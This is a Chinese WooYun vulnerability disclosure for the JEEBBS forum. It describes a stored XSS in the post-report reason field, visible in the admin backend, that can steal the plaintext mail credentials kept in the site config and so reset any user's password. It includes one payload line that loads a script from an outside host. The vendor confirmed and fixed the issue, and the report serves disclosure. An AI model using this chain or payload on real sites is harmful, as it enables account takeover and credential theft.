漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-083980
漏洞标题：JEEBBS任意帐号密码重置附poc
相关厂商：JEECMS
漏洞作者： Naih
提交时间：2014-11-20 14:55
修复时间：2015-02-18 14:56
公开时间：2015-02-18 14:56
漏洞类型：xss跨站脚本攻击
危害等级：高
自评Rank：10
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-11-20： 细节已通知厂商并且等待厂商处理中
2014-11-20： 厂商已经确认，细节仅向厂商公开
2014-11-23： 细节向第三方安全合作伙伴开放
2015-01-14： 细节向核心白帽子及相关领域专家公开
2015-01-24： 细节向普通白帽子公开
2015-02-03： 细节向实习白帽子公开
2015-02-18： 细节向公众公开
简要描述：
JEEBBS 某些小问题可导致任意帐号密码重置。漏洞的类型，难度不重要，关键是能造成什么影响才是最重要的
详细说明：
一、首先注册个帐号，虽然有些网站去掉了注册连接，但是register.jspx 文件还是存在的，直接访问可以注册帐号。
二、来到论坛的随便一个帖子里，找到举报的连接，虽然有些网站去掉了连接，但是通过
去举报帖子。
三、由于举报的字符串没有经过过滤直接查询显示在后台位置,于维护->用户举报->举报详情->举报理由。形成存储型xss
四、由于每个论坛都需要设置邮箱帐号来方便论坛用户找回密码。在配置->登录设置 页面可以看到明文的帐号密码。
通过上面几点，可以往举报位置插入xss代码，通过js获取网站配置的邮箱的帐号密码，从而重置用户的帐号密码。
漏洞证明：
评论的字符串有字符串长度限制，必须控制插入的代码的长度。插入
<script src="http://xx.com.js"></script>
例子证明影响到网站用户：
修复方案：
xss 在一定情况下是有隐患的，不能以为使用session通讯就可以防止帐号的被登录
版权声明：转载请注明来源 Naih@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2014-11-20 15:46
厂商回复：
问题已经处理，请关注论坛修复贴
最新状态：
暂无